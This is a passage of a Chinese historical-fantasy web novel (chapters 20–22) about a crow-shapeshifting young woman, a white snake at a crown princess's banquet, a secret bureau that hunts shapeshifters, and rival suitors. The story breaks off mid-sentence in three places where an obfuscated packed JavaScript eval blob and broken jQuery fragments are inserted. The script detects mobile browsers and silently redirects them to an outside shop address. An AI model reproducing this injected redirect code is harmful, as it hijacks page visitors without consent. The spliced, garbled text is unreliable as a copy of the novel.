那人……刚刚似乎一直在偷看她?
“知意,你看那边,刚刚是不是有个人?”知意垫脚张望,摇了摇头:“没看到啊。”
“你就是殷家娘子?”正疑惑间,一个颐指气使的女声传来,她转过头,眼前站着个通身贵气的中年女性,目带打量,挑剔地上下扫视她。
有她身后的夫人提醒她:“这是赵国公夫人祁云真,广平侯的姐姐。”
原来是祁承筠的姑姑,殷流光见了礼,却听她漠然对着身旁人道:“青竹大张旗鼓要娶的丫头,我还以为是何等妖媚之姿,今日一见,不过如此。”
周围人随声附和,表情奚落。
女子不慌不忙,甚至慢悠悠的声音响了起来。
“我朝开国便有仙嫔将军以女子之身受封靖国公,传到如今历经五朝,五位天子中出了两位女君,如今的皇后殿下也曾亲自挽弓射箭,修习武德,是以我朝评定女子并不以姿容取人,世子爱重我,自然是爱重我的秉性,要是先以容貌取人,岂不是糟蹋了仙嫔将军和高武、德隆两位女帝的付出?”
这不疾不徐的一番话下来,众位女子心中暗自称赞,也不由生出一股身为女子的自豪之气,赵国公夫人被当众驳了面子,恼羞成怒,变了脸色:“你这不分尊卑,不敬尊长的丫头,我……”
话还没说完,她突然惊声尖叫起来:“蛇!有白蛇……!!!护卫呢,护卫何在?!”
只见金黄的菊花丛深处,不知何时,竟游来一条巨木粗壮,黄金瞳熠熠生光的白蛇。
它吐着芯子,所到之处,众位女眷无不惊声尖叫跑开。
殷流光也惊了一跳,拉着知意往后退,知意已经被吓得连动都动不了,刚刚那蛇可就是从她们身后游出来的!
殷流光抱着知意的腰,用尽全力拉着她退了好几步,退到了安全范围。
那蛇慢悠悠环视一圈,像是锁定了赵国公夫人一样,扭动着身体就朝她冲了过来。
“快,快拦住她!”赵国公夫人吓得扭头狂奔,连声呼唤奴婢家仆挡在她身后,可那蛇却聪敏类人,从几个战战兢兢张开双臂阻拦它的家仆中央巧妙穿行而过。
匆忙奔逃中的赵国公夫人又不慎被花盆绊倒,菊花散落一地,她慌里慌张,瞧着远处众人惊恐的目光,身子僵了一瞬,有所感应地回头——
正对上眼前直起身子,向她幽幽吐着信子探头的黄金瞳大蛇。
“啊——!”
她喉间猝然发出一声高昂的尖叫,身子一瘫,翻白眼晕了过去。
“就在那里,快去抓!别让它伤到赵国公夫人!”太子妃亦是花容失色,但还算镇定,焦急地催促从东宫带来的侍卫,一整队黑甲士兵手持横刀,向巨蛇这边奔来。
巨蛇抬起头,看到远处的人影,尾巴摆了摆,似乎也不打算在此处逗留,扭过头欲原路逃跑,却跟站在后面的殷流光猝然四目相对。
它只停了一下,就向着她游曳而来,黄金竖瞳阴冷。
那一瞬间,殷流光确信,这条蛇刚才追赶赵国公夫人的时候,并没想对她怎么样,但现在……她从一条蛇的眼睛里读出了杀意。
就在它张开巨口的瞬间,殷流光将知意护在身后,道:“杀了我然后被他们抓住当做妖孽千刀万剐,还是现在就逃跑,我给你掩护,蛇兄,你自己选!”
白蛇顿住了巨口,身后士兵的甲胄声越来越逼近,殷流光主动向右挪开一步,露出通向曲江湖边的路。
蛇很快做出了选择。
它向着曲江蜿蜒而去,东宫侍卫奔到这里时,殷流光捂着胸口,脸一白,也晕了过去。
“娘子!”
“殷四娘子!快,快去宫中请侍御来!”
……
太子妃办花宴的同时,曲江的另一畔,拥沫榭中,对坐着两人,其中一人的身旁,卧着一只小猞猁,懒懒地盖着眼睡觉。
在他对面,青色襕衫,面如冠玉者,放下酒杯,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986111|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“我想说的都已经说完了,望尘,我知道你性子孤傲,这些年从没看上过谁,四娘说之前也从没跟你见过面,你求娶她或许只是一时兴起,可我不一样。”
酒杯轻晃,映出祁承筠郑重无比的脸庞:“我是真心喜欢殷家四娘,她善良温柔,懂我的一切,我被困高门,身不得已的苦闷、挣扎,她全都明白,我想要娶她为妇,一辈子琴瑟和鸣。望尘,看在以前你、我还有遗思遗梦常常在一起的情分上……这次你能不能让让我?收回求亲之语,不要让殷家为难,怕得罪你一直不敢回复。”
“善良、温柔?”商遗思缓缓念出这几个字。
初次见面,那只乌鸦就满嘴谎话,口不择言,第二次见面,她果断拒绝自己的招拢,连夜跳窗逃跑,第三次……她已经敢威胁自己替她办事。
他面无表情:“青竹,也是念在遗念和遗梦的份上,我提醒你一句,不要在没有看清一个人全部的面目之前,就妄谈喜欢。”
“你这是何意……”祁承筠困惑不解,又听道商遗思的声音:“既然你提起了遗念和遗梦,我也有一句话想问问你。”
“那天夜里,我在带兵赶回长安的路上,并没有在现场,可你在。你告诉我,那场火,究竟是怎么烧起来的?”
“还有,你亲眼见到了遗念和遗梦的尸体,他们当时……是什么模样?”
眼前人说的很平静,可抬起眼眸看他时,祁承筠却突然惊觉,他从见到弟弟妹妹尸体之后的每时每刻,都被困在那场大火里。
“原来你知道了……那之后我几次登门,你都形同槁木,我本想告诉你,但怕你伤心……”
“那天,是遗念说买到了新的前朝孤本文选,要邀我品鉴,遗梦也盛情想要,我便跟往常一样乘着月色登门拜访。”他停顿了片刻,涩着嗓子开口:“我也是从襄王宅离开后,回到自己家中时,才远远看到崇仁坊那边火烧了起来。”
看到的时候,听到远处有人大喊:“走水了,走水了!”他便心道不妙,匆匆忙忙赶过去时,襄王宅的火势已经不可挽救。
等到扑灭的时候,天光已经蒙蒙亮,他踏着满地焦黑,在后院的的位置上,看到了遗念和遗梦的尸体。
五指蜷曲,浑身形容可怖,可莫名地,姿势却都安详平静。
“从当时的情况看,后院凉亭附近,有好几个着火点,应当是长廊上的灯笼同时被风吹落,遇到地上倾倒的酒坛烧了起来。”
祁承筠有些不敢看商遗思的眼睛:“那酒……是他们用来宴请我的,我们都喝醉了,地上的酒,是我们不慎打落的……我心里愧疚,要不是我,火也不会烧起来……所以一直没有告诉你,那天晚上我去过襄王宅。”
这跟吕大娄的供词一致。
当时火,是从遗念和遗梦所在的后院凉亭周围开始烧的。
可后来京兆府尹却跟他说,起火点只有一处,那就是距离凉亭甚远的厨房。
自从发现了这些疑点开始,他这些年明里暗里试探过祁承筠多次,也暗中一直调查他,最终发现虽然吕大娄是他带进府的,但火,却不是他授意放的。
他从头到尾都是被人当成了幌子,自己并不知情。
每年遗念和遗梦的祭日,他都会亲往祭祀,会带孤本诗稿,在他们墓前念完整本,直到怆然泪下,泣不成声。
那时候,他带着弟弟妹妹刚来长安,一身漠北土蛮子气,没有自视高傲的清贵世族愿意跟他们来往,他忙于在朝中站稳脚跟,斡旋各方想要拉拢他的势力,常常很忙,遗念和遗梦人生地不熟,一直很寂寞。
是祁承筠因为曲江的一场宴会,跟同样喜欢古籍诗文的遗念认识,自此常常登门,跟他成了莫逆之交,遗梦也很喜欢这个跟他一样大的朋友,甚至有天玩笑,说再认青竹哥哥做义兄的话,她就有三个哥哥了。
那时言笑晏晏,如今已成黄土枯冢。
他仰头灌下一杯酒,起身:“今日你约我来,若是只为了殷家四娘的事情,那便可以回去了。”
“我不会取消提亲,但她已经选择了你,我想即便前路有我这个阻挠,她也不会屈服。”
说完,他便要离开,可却眼睛一眯,望向对岸那一片锦幄,像是有什么惊呼声。祁承筠也注意到了,紧张地站起身:“我记得那里今日是太子妃开的花宴……那里出什么事了?”
20. 方外异兽
虽然白蛇现身的时候,花宴上众人都乱成了一团,但太子妃短暂惊慌过后,很快镇定下来掌控住局面,现场很快恢复了井然有序。
惊魂未定的众人慢慢平息了下来,昏倒的殷流光和赵国公夫人被送进了凉亭,知意跟在后面守在殷流光身边,但奉御还迟迟未到。
太子妃不免有些焦急。
正在这时,亭外传来慌乱的声音:“殿下,姑姑和四娘她们如何了?”
太子妃转过身去,瞧见来人,道:“世子,襄王殿下,你们怎么都来了?”
祁承筠来不及答话,见姑姑跟四娘都闭着眼躺在榻上,三步并两步奔了过去查探她们情况,心急如焚。
“恰巧在附近,瞧见这边乱作一团,便来看看出了什么事。”商遗思没动,言简意赅对太子妃道,太子妃点点头,扭过头看向躺在左右榻上的两人,叹了口气:“那妖蛇……今日出现在了花宴上,我只当是寿昌看花了眼,可今日我也在,瞧得分明……”
直到此时,她才露出些许惧怕:“那蛇,当真有邪气,像是开了灵智。”她扭头看向商遗思,问道:“襄王,你觉得,它真的不是方外兽变的吗?”
方外兽?
一直闭着眼睛装晕的殷流光动了动耳朵。
她本想到了亭子之后就假装清醒的,可没想到正准备睁眼,祁承筠跟商遗思都来了,这时候坐起来必定会被商遗思发现端倪,还不如装晕到底。
没想到捕捉到了一个从未听说过的词。
“方外兽?”祁承筠也扭过头,语带奇异:“可是传说中的夜神司,一直在追捕的那些……能够变成兽的人?夜神司真的存在?”
夜神司一直是秘而不宣的直属于天子的秘密组织,每任司主都由天子钦选,夜神司和方外兽的消息,只有天子和皇室成员,以及极少数的重臣知道。
这一任司主是太子,所以太子妃才会知道一星半点的消息,祁承筠也是因为位居五相之一的广平侯,所以知道夜神司。
只是他们都不清楚夜神司与方外兽,究竟是什么。
太子妃忍不住问起,说这件事已经关系到长安百姓的安危,今天又发生了这种事,她作为储君正妃,有权利知道具体的情况。
商遗思若有若无地瞥了眼躺在左边榻上的殷流光,也不托词拒绝,干脆点头道:“大盛开国百余年,青雾山之上的夜神司便也存在了百余年,一直以来,都听命于天子。”
他徐徐道来夜神司的来历。
大盛开国,征定四夷,疆土是从未有过的辽阔,王朝的堪舆图辉煌广大,仿佛麒麟踏火。
但如今鲜少有人知道的事,开国庆圣皇帝征讨四夷的手段有多酷烈。
他深信非我族类,其心必异,必须施以重击,才能让他们心悦诚服的归降。去年被商遗思灭族的鬼方人的先祖,那时还叫做猃狁,便也曾遭受过庆圣皇帝的屠杀。
他们遁逃入大漠里的古墓,却被庆圣皇帝命盗墓贼在地上凿洞,向墓道里投入火箭,焚烧古墓逼迫他们出来。
猃狁族长半边脸被烧得不成人形,宛如恶鬼爬出墓道,临死前发出凄厉狼嚎,远处群狼回应,一片狼嚎中,他哈哈大笑,指着庆圣皇帝诅咒:“将来我的后族,我的子孙会变成狼,变成野兽,踏足你的土地,吃掉你的子孙,毁掉你的国家!”
猃狁人经此一役,被彻底灭族。但总有侥幸逃脱下来的族人,在漠漠黄沙中经过时光流转,重新凝聚壮大,便成了如今的鬼方。
庆圣皇帝听过的诅咒太多,这件事也没放在心上,直到四海升平,国家稳定富足,他当了三十多年圣明君主,垂垂老矣,自觉寿命将尽的时候。
他躺在龙床上,在明黄色的帷帐间,看到了幽绿色的眼睛和雪白的毛发。
漠北猃狁族信奉的雪狼神,真的来取他的命了。
他死前频频惊叫,大喊“是他,是他变成狼来索朕的命了!”
庆圣皇帝死的时候,太医在他喉间,发现了被野兽咬伤的伤痕,那痕迹,像是狼牙。
他将此事禀报给当时的皇太女,后来的高武女帝,女帝沉吟片刻,连夜派人执东宫信物,赶赴青雾山玄都观,请当时的天师下山入宫,商议此事。
天师看到天子尸体断定,这是被方外兽所杀,他在大明宫与女帝密谈三日,三日后,青雾山的玄都观中,多了个夜神司。
所谓夜神司,执灯照夜,猎杀天下方外兽。
而所谓方外兽,便是受了猃狁秘术诅咒,可以化形成兽的人。
夜神司历任司主皆由皇帝亲自任命,副司主由太清观观主,当朝天师兼任,夜神司司内的道士,都会在天师的教导下,修习猎杀方外兽的道术。
此后百年间,果然时不时便有突然被诅咒,化身成兽的人。这些人都会被夜神司的秘术找到,秘密处决。
简而言之,夜神司的存在,就是为了保卫皇室,扼杀猃狁族长的诅咒。
而商遗思早在陇幽,与鬼方族打仗时,就见过这种兽,进京后密报天子,才知道这段渊源,并经常与夜神司配合行动,抓捕方外兽。
殷流光听得冷汗直流。
照这个说法,她也是方外兽,也是被夜神司猎杀的对象。
难怪商遗思曾警告过她,不要太过招摇,黑夜之中的眼睛,远比她想象的要多。
可自从她能变身成乌鸦后,一直以来,都没见过所谓夜神司。
如果他们这么神通广大,坐镇京师夜监天下,又怎么会找不到她?
商遗思不疾不徐的声音还在继续,殷流光忽然打了个激灵,那天在街上遇到的那道士,穿着打扮与其他青雾山道士截然不同……他应该就是夜神司的人。
当时他很明显在打量自己,却被商遗思阻拦,难道是他……在为自己掩饰?
亭外一阵急促脚步声,奉御终于紧赶慢赶地赶到,太子妃止住话头,忙让他为赵国公夫人和殷家四娘子诊治。
奉御放下药箱便开始把脉,片刻后,道这二位夫人娘子只是受了惊吓,扎针几下便能清醒,再配合汤药服用即可。
太子妃和祁承筠都松了口气。
奉御开了药,幸好所需的药材他的药童都带了,知意虽然知道娘子是装晕,但为了给她打掩护,知意也装作一脸担忧,急匆匆地跟着太子妃的侍女出去用煎茶的炉子煎药。
奉御又取出金针,对着殷流光的胳膊才刚扎了两下,殷流光就睁开眼,茫然地问这里是哪里,祁承筠大喜,连忙握住她的手问她有没有事,那边扎了四五下,赵国公夫人也悠悠醒转,一醒来就大叫着抓蛇。
祁承筠不得不也去安抚姑母,众人都忙着围在赵国公夫人周围时,商遗思朝着殷流光走了过去。
他其实早在进入亭中的时候,听到二人呼吸气息,就知道赵国公夫人是真晕了,殷流光只是在装。
那些秘密,他的确是故意说给她听的。
满亭慌乱,他没什么表情,看着躺在榻上的殷流光,嗓音淡淡:“四娘子可还安好?”
他身后一团毛茸茸的影子方才一直躲在他身后,此刻见了熟人,欢快地朝殷流光扑了过去,但爪子还没碰到她,就被商遗思揪住了后脖颈,小猞猁不满地呜呜着,爪子在空中拼命乱蹬。
“山君,莫要胡闹。”他将猞猁抱在怀中,宽大手掌抚着它脑袋,纹着银莲花的玄色衣袖遮盖住它的一半脸,只留下一双黑漆漆的圆眼睛,还瞧着殷流光。
殷流光在心里想,山君可比它主人可爱多了。
“承蒙大王关怀,一切都好。”殷流光谨慎开口,远处祁承筠朝这边望了好几眼,瞧见商遗思在跟殷流光说话,似乎有些紧张。
她趁机咬牙低声又快速地问道:“大王为何派冰人来我家?存心戏弄我?”
眼前人活蹦乱跳,眼珠子滴溜溜乱转,他便知道她好得很,今日花宴上发生的事,一点也没吓到她。
虽然早就知道她不会有事,但心里还是莫名松了口气。
听人说出事的也有殷家四娘的时候……他跟在祁承筠身后,竟被他影响,脚步也慌乱了一瞬。
如今站在她面前,看到她现在目含警惕,自己都不知道自己现在浑身戒备,远远没有方才祁承筠握住她手时,那么自然放松。
呵……这世上原来真有女子,可以对着不喜欢的人言笑晏晏。
他掩去那丝连自己都不知道为何会生出的妒意,道:“虽然月明星稀,乌鹊可南飞,可一到夜里,夜神便会睁眼,本王也担心那只乌鹊太过莽撞,一头撞死在夜神的刀柄上,本王有心,给她个可依的寒枝罢了。”
月明星稀,乌鹊南飞,绕树三匝,何枝可依。
他这是在暗示自己,如果没有他的庇护,自己会死在夜神司手里?
刚刚那些夜神司的消息,他是故意说给她听,好在现在威胁她让她选自己?他果然还没有放弃招拢她!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986112|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殷流光不禁恼怒,恶狠狠瞪了他一眼:“多谢大王好意,但我更喜欢自己做选择,别人给的,始终不如我自己挑的。”
原本还有些感动,他那天在道士面前为自己遮掩,如今想来,只是觉得自己还有用罢了。
只是他为什么非要招拢自己?
这个疑问始终解不开,有心追问,但商遗思已经离开,对着太子妃告辞。
他说今日花宴上发生的事,要带夜神司的人详细来查一遍,太子妃颔首,说自己也派人告诉了太子此事,夜神司天子交给了太子主管,若是有什么事,希望襄王能帮衬东宫一二。
她知道如今天子君心难测,长公主与天子姐弟情深,如今权倾朝野,太子文弱,若不是广平侯忠心相助,根本没有与姑母抗衡的能力,襄王深得帝心,一向中立,她不指望襄王能为东宫竭尽全力,只希望他能帮帮太子。
商遗思应允了:“太子妃殿下,此事缘由并不怪太子殿下,我会清楚向陛下禀明。”
“多谢襄王。”太子妃后退半步,郑重向他行了一礼。
为了东宫,她也在竭尽全力,今日的花宴,本也是为了拉拢重臣家眷而设。
听说被蛇吓晕的赵国公夫人和殷家四娘醒了后,亭外的众人也松了口气,很快,为了防止意外发生,花宴也在匆匆忙忙中结束了。
太子妃特意派了马车送殷流光回家。
马车行至半路,却颠簸了一下,帘外传来车夫的闷哼,殷流光立刻察觉不对,跟知意对视一眼,按住她想掀开车帘的手,摇了摇头,自己伸手,缓慢抬起车帘一角,却被帘外的横刀挡住手臂。
一个人在侍女的扶衬下走上马车,坐在了她的身边,知意被她的侍女强行带下了车,殷流光皱眉,想要阻止,却被另一名侍女牢牢摁在原位。
等到车内只剩下她们二人时,她才开口:“你就是……殷四娘子?”
她穿着雀羽捻成的翠裙,华光四射,娇养的贵气扑面而来,居高临下地坐在殷流光对面,把下巴扬得高高的,冷然觑着殷流光。
这张脸殷流光认得,不过十四五岁的年纪,明明天真烂漫,却非要装腔作势地吓唬她。
这翠羽裙殷流光方才也见过,她就是那个在花间暗暗盯着她的人,当时还以为自己看花了眼,如今看来,是寿昌早就盯上了她。
殷流光平静道:“是我,公主殿下。”
“你知道我是公主……你认得我?可是方才在花宴上,你应该没有见过我。”她瞪圆了眼睛,惊诧非常。
“敢劫持东宫马车,又穿着珍贵异常的孔雀裙,还是这般年纪……除了天子和太子最宠爱的寿昌公主,还会有谁?”
当然,最主要认出她的原因还是她变成乌鸦监视过她。
寿昌哼了一声:“既然认识我,那你也该知道我来找你干什么吧?”
“你不准答应商遗思的求亲!”她不等殷流光回答就气势汹汹地大声道。
上次在琼池楼她的计谋没能得逞,一直不甘心,没过多久就听闻襄王请了冰人上门求亲,跟广平侯世子抢一个女子,那女子只是个七品小官的女儿,凭什么被商遗思看上!
寿昌公主李善真,从小到大只在商遗思这个陇幽来的异姓王这里吃过瘪,与其说是喜欢他,倒不如说是不甘心。
面前的女子淡淡道:“公主原来是为了这事啊。”
她终于说明来意,殷流光蓦然松了口气。
“公主不必担心,”殷流光道:“我跟世子两情相悦,不会答应襄王的。”
“听说大王与世子有旧,想必请人提亲也只是开个玩笑,根本不是因为我。”
这倒是让寿昌措手不及,她压根没想过殷四娘会不选商遗思。
毕竟商遗思比祁承筠好看啊!
她呆了半晌,气焰顿时弱了下来,有些不知所措:“哦……那恭喜你?”
气氛陡然尴尬下来,她说完这句,扭头就要下车,却被殷流光唤住:“公主是真心喜欢襄王?”
“这关你何事?”
殷流光微笑,朱唇开合:“若公主当真非襄王不可,臣女有一计,可以令公主与大王形影不离,越发亲密。”
寿昌公主是自己撞上来的,那她当然要好好地……人尽其用。
已经掀开车帘的手放了下来,寿昌坐回原位,努力控制着自己表情,不让自己显得特别好奇,点点下巴:“哦?你且说来听听。”
21. 风雨如晦
“听闻襄王酷爱豢养猛兽,公主何不投其所好?”
寿昌立刻失望,商遗思的兽苑里,从天上飞的到山里跑的,无所不有,她第一次去的时候,被吓得躲在太子阿兄的身后,被他温声哄了好久才没那么怕。
可殷流光接下来的话却让她眼睛一亮。
“臣女听说,襄王的兽苑里,如今只缺西域象。”
说起大象……前些日子阿耶猎获麒麟,万国来贺,就有西域车忽国进贡的母子象两只,大盛人历来喜爱大象,“太平有象”,被视为海清河晏的吉祥之兆。
大的那头她肯定没办法搞到手,但小的那只……求求阿耶,阿耶一定会赐给她的。
她顿时心情舒畅:“殷四娘子,你真聪明!难怪青竹哥哥也喜欢你。”
殷流光微笑:“臣女也只是想为公主分忧。”
襄王这么喜欢给她添堵毁她姻缘,还到花宴上威胁她,那就别怪她也给他找点刺激了。
寿昌心性单纯,很快就被殷流光哄得五迷三道,听说她想去乐游原烧香,还把自己的车驾借给了她。
借着这个机会,殷流光也终于有时间来乐游原给师父上坟。
她把烤鱼和新丰酒都整整齐齐摆在墓前,一边用铲子刨坑一边道:“贼尼姑,事就是这么个事儿,所以我要在你的陪葬箱子里把那半本天书找出来,要是惊到你休息,你就当是跟我聊天了。反正除了我,也没人来陪你说话了。”
她挖到箱子,扫开箱子上的土,打开后很快就找到了下半卷,被整整齐齐放在箱底。
重新放回箱子填上土,一切收拾停当后,她对着观山的墓郑重地磕了三个头,然后望着墓碑,安静地笑了。
“贼尼姑,你这么久还不诈尸吓唬我,一定是已经飞升了,或者是当了土地神,我就知道,以你那么逍遥的性子,死后肯定不会被困在这乐游原,还是要去了阴司继续坑蒙拐骗的。”
细密的雨滴像氤氲的雾气一样,忽地沾湿墓碑,风吹过松树,沙沙如海。
她起身,用袖子拂过墓碑上的雨痕:“对了,我准备答应祁承筠的求亲了,往后,我就是广平侯府的世子妃,会有平安富足,富贵锦绣的余生,你要我做的,我做到了。”
“改天,我再来看你。”
可回去的路上,雨势忽然变得极大,路上泥泞,马车也一时不慎,陷入了泥坑。
正当殷流光不知如何是好的时候,忽然从后头驶来一辆双辔马车,车檐四角缀着精致铃铛,秀丽小巧,不像是北方造物。
车徐徐在他们面前停下。
一个家仆模样的人撑伞走了过来,道:“我家主人说,娘子若是不嫌弃,可以先乘他的车,我跟着这位车夫一起,把马车拔出来后,再请娘子上车。”
泼天的雨帘中,那辆马车停在不远处,车檐的云母不时闪动着隐约的光,撑伞的仆人说话客气,举止神态却滴水不漏,看不出任何身份。
但他说的虽是官话,咬字却绵软,像是南方来的。
雨越下越急,打在伞面上噼啪作响,眼前白茫茫一片雨幕,前不朝村后不着店。
殷流光道:“那就多谢你家主人了。”她扭头:“知意,我们去前面的马车上避避雨。”
知意点头,撑着伞护着殷流光一路向前。
等上了马车,殷流光才发现,车里安坐的主人,是个十分年轻俊秀的郎君。
知意护在殷流光身前,十分警惕。
这荒郊野岭,若是眼前的人有什么歹意,那连来救她们的人都没有。
郎君靠着车壁,正在看账本,淡淡地翻了一页,语气含笑:“如果我是歹人,对这位娘子心存歹意,又何必以礼相待?直接让我的护卫将你们绑来不就好了。”
“只是雨大风急,狭路相逢,在下心想着既然是同路人,能搭把手便搭一把,出门在外,多个朋友便是多个缘分。”
他全程都没有抬眼,一手翻着账本,另一手飞快又灵巧地拨着算盘,算珠噼啪作响,在狭小的空间内像是珠玉轻撞。
瞧他样子的确不像是歹人,殷流光放下心,轻轻拍了拍知意的手,示意她不必紧张。
车内两侧都放着锦垫,车壁应该是用了上好的杉木打造,有着清淡好闻的木香。
她和知意坐了下来,车外风雨琳琅,车内安静得只闻算盘声和翻书声。
这位主人好像并没有跟她们攀谈的打算。
还是她先忍不住,攀谈起来:“听郎君的口音……不像是长安人?”
他终于舍得从账本上抬起眼看向她,眉目如画,像是江南的山水,骨清神秀,墨色的双眸状如柳叶,却仿佛含着氤氲的雾气,将所有真情实感都挡了起来。
“是啊,娘子慧眼。某是江南东道潜州人,此番是来长安做生意的。”
论气质,他与祁承筠有三分像,都是乍一看的温和清秀,但只要再多看两眼,就能立刻发现不同。
祁承筠温润如玉,待人处事是在世代簪缨的家族中耳濡目染的从容优雅,如竹如兰,典雅温厚。
而眼前此人……看似温和热心,眼底却凉薄,丝毫光也透不进去。
她莫名觉得,如果同样都用玉来做比,祁承筠是触手生温的暖玉……眼前此人像是一枚曾碎过的寒玉,如今勉强拼凑起来,虽然模样并无差别,但若是凑近了看,玉缝里都露着透骨的寒。
寒暄几句,马车内便重新安静下来。
过了一会,雨慢慢小了,眼前人的家仆也过来在车帘外禀告,说前面那辆马车已经从泥坑里拽了出来,可以正常上路了。
殷流光忙起身道谢,带着知意下了马车,听到身后人的声音。
“等一下。”
她撑着伞转过头,瞧见青筋分明的一只修长手掌撩开帘子,他抬起眼,看向殷流光:“娘子忘了问我的名字。”
殷流光一怔,方才她其实有心要问,但见对方一副忙于账目根本不想搭理她们的样子,就默默住了口。
她想解释,但对方已然继续说了下去:“某叫做苏胥,打算在长安久居,做些茶叶生意,他日若是在西市相逢,还请娘子惠顾。”
说罢,不等殷流光回答,他已放下车帘,吩咐道:“走吧。”
等马车走远,知意扶着殷流光上了公主车驾,对她嘀咕:“这人也太怪了,刚刚一直不理人,我们走了又追出来自说自话。”
“可能他们江南人,性子就是这么内敛害羞吧。”她淡淡一笑,很快把这件事抛到脑后。
等回到家中,没想到花宴上出的事传得这么快,已经全长安皆知了。
家中自然无人在意她的安危,反而问了她许多花宴和白蛇的事,殷流光草草应付几句就要走,如今她在家里地位尊贵,就算是当着殷阆的面转身就走,他也不会说什么。
可殷流灵的话却引起她的注意。
殷流灵说:“听说如今都在传,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986113|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
广平侯真的做过什么亏心事。”
“要不然,那白蛇为什么只找广平侯家的人?赵国公夫人,就是广平侯的姐姐,广平侯世子的姑母啊……”
她意有所指,甚至有些幸灾乐祸地看了眼殷流光:“四妹,你可要小心点,不要嫁过去还没几天,就被白蛇给吓死了。”
“流灵!怎么跟妹妹说话呢!”宋绯轻声呵斥,转头带笑对殷流光忙道,有些小心讨好,却也有些不自在:“四娘,你姐姐这些日子为你阿兄割了不少血,神思有些恍惚,你别介意。”
“母亲说的哪里话,我自然不会对阿姐有什么芥蒂。”殷流光微笑,行了礼转身回自己的院子,一路上都面色凝重。
那条妖蛇、还有传言……果真意在广平侯府么?
她蓦然想起之前商遗思对自己的警告:“本王只怕你,想图谋一个安稳人生,到最后却不能得偿所愿。”
他是不是知道些什么?
祁承筠对她很好,她已经打定了主意要嫁给他,他不能出事,广平侯府也不能!
殷流光眸光微闪,窗外的雨已经停了,阴云散去,黄昏如一卷铺开的金色锦缎,霞光耀眼,流云勾勒出凤凰模样。
凤凰尾端,便是崇仁坊,襄王宅所在的方向。
她推开窗户,拔下发钗,乌发霎时披散,落下的瞬间,女子的身形已经消失,一根乌羽落在珍珠钗的旁边,倏忽被风吹起,轻飘飘盖住了钗上的珍珠。
这些问题的答案,商遗思一定都知道。
漆黑的身影熟悉地越过坊市,落在襄王宅,余晖还剩最后一点,有一半的天空已经染上了浓重的深黛色。
视野里原本纤毫毕现的景象慢慢模糊了起来,阔大深幽的襄王宅,像是一团漆黑恐怖的迷雾,商遗思在家怎么也不点灯,她连路都看不清楚!
虽然上次来过一次,可那次是商遗思直接骑马带着她到了中庭,紧接着岑媪就来带走了她,虽然当时有心记地形,却也因着后院只寥寥点着几盏灯而作罢。
襄王和他的襄王宅,都是一样的冷清孤寂。
此刻什么也看不清楚,她只能凭借着直觉向着左边飞了进去。
印象中,后院她换衣服的厢房,当时就是从中庭朝左转的。
乌鸦收拢翅膀,落在一根低垂的枯枝上,还没等她仔细观察地形,身后却忽然传来一声……她再熟悉不过的粗重喘息,还夹杂着几分仇人相见的愤恨。
像是凝华山上,她遇见过的那只豹子。就算它变成乌鸦,它也能闻出她的气息。
她登时浑身寒毛都竖了起来。
不是吧……她不会这么倒霉,迷路撞进商遗思的兽苑了吧?
那呼吸声还在继续,湿热的气息喷在乌鸦脑袋上,一个黏腻湿润的软体舔过乌鸦浑身的毛发。
身后这只豹子……它在舔她!下一步就该是把她吞下去了吧?
她在心里默数着时间,舔舐感消失的瞬间,她展开翅膀猛然飞去。
可那豹子在凝华山吃过瘪,已经学聪明了,在殷流光展翅的同时就大张着嘴向她兴奋地扑去。
天心冰轮下,一只乌鸦狼狈地扑棱着翅膀,她身后的豹子矫健地高高跃起,兽瞳幽亮,前爪已经够到了乌鸦的翅膀。
倏然,一支箭破空而来,稳稳扎在地上,豹子被吓了一跳,警觉地望向远处。
就在这个瞬间,一个玄色身影鬼魅般出现,将乌鸦笼到了自己袖中。
22. 乌鹊择主
男人一路轻拢着掌心的乌鸦,将她带回了卧房。
等到卧房,殷流光听见商遗思吩咐侍女打一盆热水来,她心中疑惑不知道他要干嘛,整个身子都蜷缩在商遗思温热的掌心,一动不敢动。
今日他的身上没有檀木香,而是有着淡淡的潮湿气息和皂香。
皂香……?!
她刚刚联想到什么,眼前顿时光亮无比,商遗思将她扔进了盛着热水的金盆里。
殷流光猝不及防呛了好几口水,怒不可遏地从金盆中扬起脑袋,瞪着商遗思:“这就是大王的待客之道吗?”
看清他的模样,她怔了怔。
眼前人只穿着单衣,墨发半湿,散了下来,浓密乌黑的睫毛微微湿润,显得那双凌厉的凤眼的都没那么清冷凛然,反而多了点若有若无的魅色。
视线再向下,便是湿润朱红的薄唇,是整张脸上着色最浓,引人遐想的所在。
他看起来像是沐浴沐到一半,听到动静察觉到不对,随便裹了衣服就赶到兽苑,从豹子口中救下她的。
